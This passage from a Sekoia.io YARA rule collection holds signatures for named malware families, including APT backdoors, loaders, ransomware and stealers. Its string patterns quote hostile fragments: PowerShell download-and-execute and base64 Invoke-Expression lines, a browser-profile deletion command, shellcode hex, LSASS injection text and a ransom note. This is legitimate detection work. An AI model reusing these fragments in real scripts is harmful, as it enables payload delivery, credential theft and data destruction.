		classification = "TLP:CLEAR"
	strings:
		$ = {2c 27 44 65 63 72 79 70 74 6f 72 27 2c 27 6e 6f 64 65 27 2c 27 55 73 65 72 2d}
		$ = {5c 78 32 30 43 68 72 6f 6d 65 2f 31 30 27 2c 27 67 67 65 72 27 2c 27 73 65 64 43 69 70 68 65 72 27 2c 27 5f 61 70 70 65 6e 64 27 2c 27 5f 45 4e 43 5f 58 46 4f 52 4d 27 2c 27 57 53 63 72 69 70 74 2e 53 68 27}
	condition:
		1 of them
}


rule SEKOIA_Apt_Oilrig_Powerexchange : FILE
{
	meta:
		description = "Detects OilRig's PowerExchange backdoor"
		author = "Sekoia.io"
		id = "cb6b370f-7b05-480b-865e-ac81ded4a2a4"
		date = "2023-10-24"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_oilrig_powerexchange.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5e505e9bbb17500f7e9a316b66bccb62089172582478230e0bda736bbefa1fd6"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "($h.value).PadRight((($h.value).Length+($h.value).Length%4),'='" ascii wide
		$ = "(($h.value).Length%4 -ne 0)" ascii wide
		$ = "-match \"@@(.*)@@\"" ascii wide
		$ = "[Environment]::NewLine+$_.Exception.Message | Out-File -FilePath" ascii wide
		$ = "ContainsSubjectStrings.Add(\"@@\")" ascii wide
	condition:
		2 of them and filesize < 50KB
}

rule SEKOIA_Apt_Coathanger_Beacon : FILE
{
	meta:
		description = "Detects COATHANGER beacon"
		author = "Sekoia.io"
		id = "cc201479-016a-46d2-a9e2-41b4914ce618"
		date = "2024-02-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_coathanger_beacon.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e44496e62de8c885d5bd941819a97f4c0dd90ce2d0cfe9d042ab9590cc354ddb"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = {
        48 B8 47 45 54 20 2F 20 48 54
        48 89 45 B0 48 B8 54 50 2F 32 0A 48 6F 73
        48 89 45 B8 48 B8 74 3A 20 77 77 77 2E 67
        48 89 45 C0 48 B8 6F 6F 67 6C 65 2E 63 6F
        }
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 5MB and any of them
}

rule SEKOIA_Rootkit_Win_Purplefox_Svchost_Txt : FILE
{
	meta:
		description = "Detects Purple Fox payloads used during end-2021 and 2022 campaigns based on characteristics shared by TrendMicro details."
		author = "Sekoia.io"
		id = "e992d574-6a44-4bea-97e2-6d5579ce8d02"
		date = "2022-03-28"
		modified = "2024-12-19"
		reference = "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rootkit_win_purplefox_svchost_txt.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a1de949cb2e898ed031f5c796f7152af12dfae5431dfaf269f25ebe72f0ae004"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "C:\\ProgramData\\dll.dll,luohua" wide
		$str1 = "C:\\ProgramData\\7z.exe" wide
		$str2 = "F:\\hidden-master\\x64\\Debug\\QAssist.pdb" ascii
		$str3 = "F:\\Root\\sources\\MedaiUpdateV8\\Release\\MedaiUpdateV8.pdb" ascii
		$str4 = "cmd.exe /c RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255" ascii
		$str5 = "del /s /f %appdata%\\Mozilla\\Firefox\\Profiles\\*.db" ascii
	condition:
		4 of ( $str* ) and filesize > 7000KB and filesize < 9500KB
}

rule SEKOIA_Apt_Cloudatlas_Powershower_Module : FILE
{
	meta:
		description = "Detects CloudAtlas PowerShower module"
		author = "Sekoia.io"
		id = "dd688058-3d5d-46a7-8380-fe961c3327cd"
		date = "2022-11-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_cloudatlas_powershower_module.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7542eb882ee44203d806ad936126be2476b6e3a85ad8c93b6fd6c8226fe82617"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$env:temp" ascii wide
		$ = "foreach($item in $zip.items" ascii wide
		$ = "echo $result" ascii wide
		$ = "pass.txt" ascii wide
	condition:
		all of them and filesize < 10000
}

rule SEKOIA_Apt_Kimsuky_Sharpext_Devtoolmodule_Strings : FILE
{
	meta:
		description = "Detects the DevTool module used by SharpExt"
		author = "Sekoia.io"
		id = "6f589a9c-344a-4ddc-929e-f123a2c3c187"
		date = "2022-07-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_sharpext_devtoolmodule_strings.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "61007801d28636c6d88b14225f34910d03e82337520257637a5017d58600b2bc"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "packetProc = function" ascii fullword
		$ = "var url = request.request.url" ascii fullword
		$ = "https://mail" ascii fullword
	condition:
		all of them and filesize < 50KB
}

rule SEKOIA_Loader_Fakebat_Initial_Powershell_May24 : FILE
{
	meta:
		description = "Finds FakeBat initial PowerShell script downloading and executing the next-stage payload."
		author = "Sekoia.io"
		id = "adf0e4fc-fa98-470b-9535-bd30d0bdb3aa"
		date = "2024-05-28"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_fakebat_initial_powershell_may24.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6a699df361b0cb2baf1d0b128f795aa9918ebe11daaeb1fa49aebf9320add762"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		modification_date = "2024-06-21"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "='http" wide
		$str02 = "=(iwr -Uri $" wide
		$str03 = " -UserAgent $" wide
		$str04 = " -UseBasicParsing).Content; iex $" wide
	condition:
		3 of ( $str* ) and filesize < 1KB and true
}

rule SEKOIA_Ransomware_Win_Voidcrypt : FILE
{
	meta:
		description = "Detect the Limbozar / VoidCrypt ransomware"
		author = "Sekoia.io"
		id = "394033cc-20fe-4ced-8d77-5f1061bb8c96"
		date = "2021-10-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_voidcrypt.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7e28bae5830df779bf2367482fb966f5cab691a6c8c474950f7442d8fec054a0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "C:\\ProgramData\\pkey.txt" ascii
		$s2 = "C:\\ProgramData\\IDk.txt" ascii
		$s3 = "fuckyoufuckyoufuckyoufuckyou" ascii
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Apt_Muddywater_Manifestation_Backdoor_Obfuscated : FILE
{
	meta:
		description = "Detects obfuscated Muddys manifestation JScript backdoor"
		author = "Sekoia.io"
		id = "58df72a1-822c-4b82-904d-1c0124dc7bc1"
		date = "2022-01-13"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_muddywater_manifestation_backdoor_obfuscated.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8610f0895fafd2bc9a19bbff816754b563565ba6b105cc3d0a32b80bf5ebdc47"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$m = { 76 61 72 20 5f 30 78 [4-6] 3d 5b }
		$w = {57 53 63 72 69 70 74 5b 5f 30 78 [4-6] 28 30 78 [2-3] 29 5d 28 30 78 [2-3] 2a 30 78 [2-3] 29 2c }
		$t = "subkeys(key));}"
	condition:
		$m at 0 and ( $t at ( filesize -16 ) or $w in ( filesize -200 .. filesize ) )
}

rule SEKOIA_Apt_Unc4990_Explorer_Ps1_Reverse_B64 : FILE
{
	meta:
		description = "Detects reverse base64 files (explorer.ps1)"
		author = "Sekoia.io"
		id = "35c3ffb2-2ced-426c-ac3f-a8cd0c357672"
		date = "2024-02-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_unc4990_explorer_ps1_reverse_b64.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "bf13fbf2dbe6a718510f3e435a9fe06517ed962f8e129d79a15e6a301e5713ca"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s0 = "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(\""
		$s1 = "Wa1VHJ\"[-1..-"
		$s2 = "-join '')))"
	condition:
		all of them and $s0 at 0 and @s2 - @s2 < 20
}

rule SEKOIA_Backdoor_Lin_Sysupdate : FILE
{
	meta:
		description = "Detect the SysUpdate malware"
		author = "Sekoia.io"
		id = "9cb806cf-4ca1-44d8-809a-58cc5f364fb8"
		date = "2023-03-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_lin_sysupdate.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "93e17cd535444e9cabc7440b1226526e67ddb81a84eb6377689a62f268b9dfee"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "generate guid path=%s"
		$ = "3rd/asio/include/asio/detail/posix_event.hpp"
		$ = "expires_at"
		$ = "%s -f %s"
		$ = "expires_after"
		$ = "-run"
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}

rule SEKOIA_Apt_Kimsuky_Toddlershark_Strings : FILE
{
	meta:
		description = "Detects Kimsuky TODDLERSHARK vbs malware"
		author = "Sekoia.io"
		id = "2db1a424-9e83-4168-8ebf-d3b415b6a576"
		date = "2024-03-06"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_toddlershark_strings.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "dee9d03f498437dd6d8399975cd91ec44307067ac4642b9ff31df1a6d6b10468"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "On Error Resume Next"
		$ = ".open \"POST\", \"http"
		$ = ".setRequestHeader"
		$ = ".send"
		$ = "Execute("
		$ = ".responseText)"
	condition:
		all of them and filesize < 450
}

rule SEKOIA_Backdoor_Powershellempire_Python : FILE
{
	meta:
		description = "Detects Empire Python version"
		author = "Sekoia.io"
		id = "c2913f60-46a2-42c1-8569-72568eaddaed"
		date = "2022-04-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/backdoor_powershellempire_python.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "81c74a73ff7fe02420f29a53b350f1b53964f5a04f0694fed5b1b4bd6cc5ad03"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "import sys,base64;exec"
		$ = "aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2"
	condition:
		all of them and filesize < 1MB
}

rule SEKOIA_Apt_Cloudatlas_Rtf_Shellcode_Cve_2018_0798 : FILE
{
	meta:
		description = "CloudAtlas Shellcode for CVE_2018_0798 "
		author = "Sekoia.io"
		id = "6c602c66-df40-4436-800f-e548dacc1e81"
		date = "2022-12-01"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_cloudatlas_rtf_shellcode_cve_2018_0798.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a8c320ca81ef196b84a8fb08d9e02ef8cfb338024fa7e6776ff6c8c049b8e63c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "6060606061616161616161616161616161616161FB0B00004bE8FFFFFFFFC35F83C71B33C966B908010f0d00ddd8d97424f4668137" ascii nocase
	condition:
		filesize < 8MB and all of them
}

rule SEKOIA_Ransomware_Win_Wing : FILE
{
	meta:
		description = "Finds Wing ransomware samples based on specific strings"
		author = "Sekoia.io"
		id = "c2fe8321-8013-4aa4-91a6-c0face3e6b52"
		date = "2024-01-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_wing.yar#L1-L52"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "c9f373c12f4fb5efc29d0f293a2e0b46cf03c1abe124e9dd4118bef6c6e3f731"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$fun01 = "LockBIT" ascii fullword
		$fun02 = "BigEncrypt" ascii
		$fun03 = "RunEncrypt" ascii
		$fun04 = "AesEncrypt" ascii
		$fun05 = "KeyGenerator" ascii
		$fun06 = "GetUniqueKey" ascii
		$fun07 = "SearchFolder" ascii
		$fun08 = "ThreadFolders" ascii
		$fun09 = "ContainsKeyword" ascii
		$fun10 = "ReadMeMaker" ascii
		$fun11 = "StopAndConfigureSqlServices" ascii
		$fun12 = "WipeRecycleBin" ascii
		$fun13 = "TelSender" ascii
		$str01 = "AnyDesk" wide
		$str02 = "firebird" wide
		$str03 = "Acronis" wide
		$str04 = "config \"" wide
		$str05 = " start= demand" wide
		$str06 = "' stopped and configured to start automatically." wide
		$str07 = "Error processing service '" wide
		$str08 = "$RECYCLE.BIN" wide
		$str09 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
		$str10 = "UniqueID:" wide
		$str11 = "PersonalID:" wide
		$ran01 = "C:\\Readme.txt" wide
		$ran02 = "C:\\LockBIT\\systemID" wide
		$ran03 = "Your system has been encrypted by our team, and your files have been locked using our proprietary algorithm !" wide
		$ran04 = "* Please read this message carefully and patiently *" wide
		$ran05 = "* If you use any tools, programs, or methods to recover your files and they get damaged, we will not be responsible for any harm to your files !" wide
		$ran06 = "* Note that your files have not been harmed in any way they have only been encrypted by our algorithm." wide
		$ran07 = "Your files and your entire system will return to normal mode through the program we provide to you. No one but us will be able to decrypt your files !" wide
		$ran08 = "* To gain trust in us, you can send us a maximum of 2 non-important files, and we will decrypt them for you free of charge." wide
		$ran09 = "Please put your Unique ID as the title of the email or as the starting title of the conversation." wide
		$ran10 = "* For faster decryption, first message us on Telegram. If there is no response within 24 hours, please email us *" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 5 of ( $fun* ) and 5 of ( $str* ) and 2 of ( $ran* ) ) or 12 of ( $fun* ) or 10 of ( $ran* ) or 8 of ( $ran* ) )
}

rule SEKOIA_Apt_Gamaredon_Htmlsmuggling_Attachment_Stage2 : FILE
{
	meta:
		description = "Detects Gamaredon HTMLSmuggling attachment"
		author = "Sekoia.io"
		id = "e82335ea-48d5-409c-a270-cfd5a2197c44"
		date = "2023-01-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_htmlsmuggling_attachment_stage2.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "42e637f628db6719342ae104c6c89bb80609c5f3f5c2586daccb31f7d688a2a1"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = ") == -1) die();" ascii
		$ = "'data:application/x-rar-compressed;base64, ' +" ascii
		$ = ".appendChild(img);" ascii
		$ = "['Win32', 'Win64', 'Windows', 'WinCE'].indexOf(" ascii
		$ = " = navigator[\"platform\"];" ascii
	condition:
		4 of them and filesize < 1MB
}

rule SEKOIA_Apt_Uac0154_Powershell_Infection_Chain_1 : FILE
{
	meta:
		description = "UAC-0154 Infection chain"
		author = "Sekoia.io"
		id = "428eb021-b37f-4db5-8cab-ca2f6dd2e202"
		date = "2023-10-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_uac0154_powershell_infection_chain_1.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a849c397e7f61e41ea7e67a265717d7d66f6af42f3d1e930020d1433dd3aab18"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "command $es ="
		$ = "function isV"
		$ = "doIn;"
		$ = "System.IO.Comp"
	condition:
		all of them and filesize < 100KB
}


rule SEKOIA_Apt_Muddywater_Powgoop_Decoded : FILE
{
	meta:
		description = "Detects decoded PowGoop malware"
		author = "Sekoia.io"
		id = "194cb9ef-da96-42b6-a3b5-b0aee7495f2c"
		date = "2022-01-13"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_muddywater_powgoop_decoded.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "6654d8107bb2ad6344f1fa03c6525ed9a0b8e49627787355efe857e80a02eca4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$h1 = "[System.Net.WebRequest]::Create(" ascii wide
		$h2 = "Headers.Add('Authorization'" ascii wide
		$h3 = "Headers.Add('Cookie',('value=' + $ec + ';')" ascii wide
		$h4 = ".GetResponse()" ascii wide
		$h5 = "GetResponseStream()" ascii wide
		$c1 = "return (65..90) + (97..122) | Get-Random -Count" ascii wide
		$c2 = "% {[char]$_}" ascii wide
	condition:
		filesize > 1KB and filesize < 1MB and ( $h2 in ( @h1 .. @h5 ) and $h3 in ( @h1 .. @h5 ) and $h4 in ( @h1 .. @h5 ) ) or ( $c2 in ( @c1 .. @c1 + 50 ) ) and true
}

rule SEKOIA_Infostealer_Win_Meduzastealer : FILE
{
	meta:
		description = "Finds MeduzaStealer samples based on specific strings"
		author = "Sekoia.io"
		id = "1276f485-aa5d-491b-89d8-77f98dc496e1"
		date = "2023-06-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_meduzastealer.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e81a5a9611662422eb7a87c0c1a370cee6f138fd6169225d969b669337d91a06"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "emoji" ascii
		$str02 = "%d-%m-%Y, %H:%M:%S" ascii
		$str03 = "[UTC" ascii
		$str04 = "user_name" ascii
		$str05 = "computer_name" ascii
		$str06 = "timezone" ascii
		$str07 = "current_path()" ascii
		$str08 = "[json.exception." ascii
		$str09 = "GDI32.dll" ascii
		$str10 = "GdipGetImageEncoders" ascii
		$str11 = "GetGeoInfoA" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them and filesize > 500KB
}

rule SEKOIA_Apt_Konni_Check_Bat : FILE
{
	meta:
		description = "Script used to performs check before executing Konni"
		author = "Sekoia.io"
		id = "f05e6ba2-c128-4c17-8f74-f7640103c859"
		date = "2023-11-27"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_konni_check_bat.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "13a9dd6978985eb17960794c6de2ee2e6411e6afeb705ff95ced72bc0efb5d8c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = ":64BIT"
		$ = ":32BIT"
		$ = ":INSTALL"
		$ = ":EXIT"
		$ = "netpp.dll"
		$ = "wpns.dll"
		$ = "netpp64.dll"
		$ = "wpns64.dll"
		$ = "rundll32"
	condition:
		filesize < 1MB and 7 of them
}

rule SEKOIA_Dropper_Win_Konni_Cab : FILE
{
	meta:
		description = "Detect the CAB files used to drop the KONNI malware"
		author = "Sekoia.io"
		id = "87a209d5-667a-4a81-837a-660ab98c33c8"
		date = "2023-09-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/dropper_win_konni_cab.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b49bb875d5ddd4b815da5bd184ec7f1d23cfb7ad316760c9a9876607245d0a95"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$magic = "MSCF"
		$file2 = "check.bat"
		$file3 = "wpnprv64.dll"
		$file4 = "wpnprv32.dll"
	condition:
		$magic at 0 and all of ( $file* )
}

rule SEKOIA_Apt_Sandworm_Orcshred_Apr2022 : FILE
{
	meta:
		description = "Detects the ORCSHRED script"
		author = "Sekoia.io"
		id = "1a88800c-29e1-4e2c-8374-f5a93dd9fd91"
		date = "2022-04-12"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_sandworm_orcshred_apr2022.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "de38cf43fa5cc756c26ae241f2e60636c2aabbe4254fdeca2340c62873498de7"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "find /etc -name os-release >"
		$ = "/bin/bash /var/"
		$ = "crontab -l >"
		$ = ".sh & disown"
	condition:
		3 of them and filesize < 2KB
}

rule SEKOIA_Apt_Stripedfly : FILE
{
	meta:
		description = "Detects string relative to Stripedfly malware"
		author = "Sekoia.io"
		id = "81968d34-3247-4965-ba44-55747370c90e"
		date = "2023-11-30"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_stripedfly.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ded64ae30cf994162d4af649a34eadd4b8619cbced4392a6684129f8cf906136"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "{\"id\":%d,\"jsonrpc\":\"2.0\",\"method\":\"%s\",\"params\":%s}"
		$s2 = "{\"login\":\"%s\",\"pass\":\"%s\",\"agent\":\"\"}"
		$s3 = "(tcp|ssl)://([A-Za-z0-9\\.\\-]+):([0-9]+)"
	condition:
		filesize < 3MB and 2 of them
}

rule SEKOIA_Implant_Win_Pingpull : FILE
{
	meta:
		description = "Detect the PingPull malware used by GALLUM in 2022"
		author = "Sekoia.io"
		id = "521615d4-912b-4581-b5a9-a8b158ac9496"
		date = "2022-06-13"
		modified = "2024-12-19"
		reference = "https://unit42.paloaltonetworks.com/pingpull-gallium/#Protections-and-Mitigations"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_win_pingpull.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "778d429e4c6d7575ddeea5144f9554f2b6ca46175d4202d338bef01dc9668b97"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "PROJECT_%s_%s_%08X"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}


rule SEKOIA_Malware_Win_Passlib : FILE
{
	meta:
		description = "Detect the Passlib malware"
		author = "Sekoia.io"
		id = "609999e2-a644-4bf3-bce2-b0e1b0e7094b"
		date = "2022-07-28"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/malware_win_passlib.yar#L1-L32"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5e76f7c40a00182ee076720b4c19a45e82a8ce11740fdd8e9419f9d9e93cdb41"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Passlib test utility - Version %s" wide
		$ = "-l <full_path_to_dll_to_load_into_lsass> (arbitrary dll injection into LSASS)" wide
		$ = "-u <dll_to_unload_from_lsass> (arbitrary dll uninjection from LSASS)" wide
		$ = "DLL %s injection was successful requested!" wide
		$ = "DLL %s uninjection was successful requested!" wide
		$ = "Process %s was succesfully created with full privileges and system integrity!" wide
		$ = "full_path_to_volatile_payload_dll" wide
		$ = "%s: [%s]:[%s] (http_only:%d)" wide
		$ = "LEX server has been deployed at lsass." wide
		$ = "LEX client is using volatile payload at: %s" wide
		$ = "LEX client is using permanent payload at: %s" wide
		$ = "Passlib execution finished" wide
		$ = "Running on Passlib version %ws" wide
		$ = "There was a problem initializing passlib manager interface." wide
		$ = "Passlib running without high integrity" wide
		$ = "About to dump passwords through passlib manager interface" wide
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 1500KB and all of them
}



rule SEKOIA_Apt_Turla_Kazuar_Variant_2023 : FILE
{
	meta:
		description = "New variant of Kazuar observed in 2023"
		author = "Sekoia.io"
		id = "51e9de6a-5d8a-4627-8063-b70f78e78726"
		date = "2023-11-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
